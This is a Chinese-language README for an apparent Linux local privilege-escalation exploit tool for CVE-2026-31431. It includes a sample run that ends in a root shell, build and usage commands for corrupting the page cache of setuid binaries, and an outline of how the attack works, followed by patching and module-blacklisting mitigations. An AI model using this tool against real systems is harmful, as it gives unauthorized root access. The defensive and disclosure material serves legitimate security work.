CVE-2026-31431 — 通过 Linux 内核页缓存损坏实现本地权限提升
GhostShell 是一款本地权限提升工具,利用 Linux 内核 authencesn AEAD 加密实现中的缺陷,从非特权用户账户获取 root shell。它通过在 setuid-root 二进制文件(如 /usr/bin/su)的入口点植入 shellcode 来破坏其内存中的页缓存,然后执行该文件——从而获得 setuid(0) + setgid(0) 并生成一个特权 /bin/sh。磁盘上的文件不会被修改;只有内存中的页缓存受到影响。
简而言之:你以普通用户身份运行它,它就会将你带入 root shell。
由 Theori / Xint 发现并披露。完整分析文章:copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14(2017 年 8 月)至 2026 年 4 月已修补的内核版本。
kmod针对 CVE-2026-31431 的推荐修复方案是修补 kmod 软件包(内核模块工具),该软件包随附存在漏洞的 authencesn AEAD 密码模块。各大发行商已发布更新版本,用于禁用或修正存在漏洞的 splice() 就地解密路径。
# 检查当前 kmod 版本
modprobe --version
# 更新到已修补的版本
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# 验证更新
modprobe --version
# 将 kmod 更新到已修补的版本
sudo dnf update kmod
# 验证
rpm -q kmod
sudo pacman -Syu kmod
修补 kmod 后,确认存在漏洞的 authencesn 模块不再可加载或已更新:
# 尝试加载模块 — 在已修补的系统上应失败或报告已修复版本
modinfo authencesn
# 或者,检查正在运行的内核是否包含 2026 年 4 月的补丁
uname -r # 应 >= 您发行版对应的已修补内核版本
如果您无法立即更新 kmod,可以阻止存在漏洞的密码模块加载:
# 将 authencesn 模块加入黑名单
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# 同时将通用 authenc 模块也加入黑名单以防万一
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# 如果当前已加载则卸载(如果正在使用可能会失败)
sudo modprobe -r authencesn 2>/dev/null
修补或应用临时解决方案后请重启,以确保任何被损坏的页缓存条目被清除。
| 操作系统 | 内核 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ 此漏洞利用仅在上述系统上测试过。在其他发行版或内核版本上结果可能有所不同。
<linux/if_alg.h>)——通常随 linux-libc-dev 提供在 Ubuntu/Debian 上安装构建依赖:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
无需外部库。
自动检测目标(检查常见的 setuid 二进制文件,如 su、sudo、passwd):
./ghostshell
手动指定目标:
./ghostshell /usr/bin/sudo
如果内核存在漏洞,您将被带入一个 root shell(#)。
_start 入口点偏移。splice() 就地解密缺陷,通过每次 patch_chunk() 调用写入 4 个字节(24 次迭代),将 94 字节的 x86-64 shellcode 写入入口点。execl()。内核从页缓存加载该文件,shellcode 以 setuid-root 权限运行,生成一个 root shell。该漏洞利用仅损坏内存中的页缓存。简单重启即可完全清除。
无需重启即可清除缓存:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
如果脏页已写回磁盘(可能性较小但存在),请重新安装受影响的软件包:
sudo apt-get install --reinstall util-linux # 用于 /usr/bin/su
此工具仅供教育和授权安全研究目的使用。未经授权对您不拥有或未获得明确测试许可的系统使用此工具属于违法行为。作者对滥用行为不承担任何责任。
本项目采用 MIT 许可证。
特此免费授予获得本软件及相关文档文件(“软件”)副本的任何人无限制地处理本软件的权利,包括但不限于使用、复制、修改、合并、发布、分发、再许可和/或出售软件副本的权利,并允许向其提供本软件的人员这样做,但须满足以下条件:
上述版权声明和本许可声明应包含在本软件的所有副本或实质性部分中。
本软件按“原样”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因本软件或本软件的使用或其他交易而产生或与之相关的任何索赔、损害或其他责任负责,无论是合同诉讼、侵权行为还是其他诉讼。